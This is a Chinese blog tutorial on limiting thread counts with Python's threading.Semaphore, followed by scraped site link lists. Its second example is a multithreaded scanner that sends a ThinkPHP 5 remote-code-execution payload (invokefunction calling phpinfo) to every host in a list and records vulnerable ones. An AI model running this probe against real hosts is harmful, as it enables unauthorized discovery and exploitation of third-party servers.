python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python实现电子词典
Apr 23 Python
python访问sqlserver示例
Feb 10 Python
Python捕捉和模拟鼠标事件的方法
Jun 03 Python
Python实现的生成格雷码功能示例
Jan 24 Python
Python断言assert的用法代码解析
Feb 03 Python
python 获取文件下所有文件或目录os.walk()的实例
Apr 23 Python
Python3 jupyter notebook 服务器搭建过程
Nov 30 Python
Python常见数据类型转换操作示例
May 08 Python
在Python函数中输入任意数量参数的实例
Jul 16 Python
Python高阶函数、常用内置函数用法实例分析
Dec 26 Python
Python 实现RSA加解密文本文件
Dec 30 Python
使用Python开发冰球小游戏
Apr 30 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
php中将数组存到文件里的实现代码
2012/01/19 PHP
深入file_get_contents与curl函数的详解
2013/06/25 PHP
php实现的Timer页面运行时间监测类
2014/09/24 PHP
php基于mcrypt_encrypt和mcrypt_decrypt实现字符串加密解密的方法
2016/07/12 PHP
Django中的cookie与session操作实例代码
2017/08/17 PHP
对setInterval在火狐和chrome切换标签产生奇怪的效果之探索,与解决方案!
2011/10/29 Javascript
新增加的内容是如何将div的scrollbar自动移动最下面
2014/01/02 Javascript
js中通过父级进行查找定位元素
2014/06/15 Javascript
JavaScript闭包详解
2015/02/02 Javascript
js选项卡的实现方法
2015/02/09 Javascript
jquery实现选中单选按钮下拉伸缩效果
2015/08/06 Javascript
使用angularjs创建简单表格
2016/01/21 Javascript
玩转JavaScript OOP - 类的实现详解
2016/06/08 Javascript
Bootstrap CDN和本地化环境搭建
2016/10/26 Javascript
Angular1.x复杂指令实例详解
2017/03/01 Javascript
angular directive的简单使用总结
2017/05/24 Javascript
jQuery+C#实现参数RSA加密传输功能【附jsencrypt.js下载】
2017/06/26 jQuery
Vue项目中最新用到的一些实用小技巧
2018/11/06 Javascript
JavaScript继承的特性与实践应用深入详解
2018/12/30 Javascript
JS自定义滚动条效果
2020/03/13 Javascript
深入理解Python 代码优化详解
2014/10/27 Python
python去除扩展名的实例讲解
2018/04/23 Python
利用pandas进行大文件计数处理的方法
2018/07/25 Python
用Python实现筛选文件脚本的方法
2018/10/27 Python
pybind11在Windows下的使用教程
2019/07/04 Python
python傅里叶变换FFT绘制频谱图
2019/07/19 Python
Pytorch高阶OP操作where,gather原理
2020/04/30 Python
详解利用python识别图片中的条码(pyzbar)及条码图片矫正和增强
2020/11/17 Python
python 递归相关知识总结
2021/03/03 Python
使用canvas来完成线性渐变和径向渐变的功能的方法示例
2019/07/25 HTML / CSS
JD Sports德国官网:英国领先的运动鞋和运动服饰零售商
2018/02/26 全球购物
五心教育心得体会
2014/09/04 职场文书
小学四年级学生评语
2014/12/26 职场文书
放弃继承权公证书
2015/01/23 职场文书
检讨书怎么写
2015/05/07 职场文书
读《工匠精神》有感:热爱工作,精益求精
2019/12/28 职场文书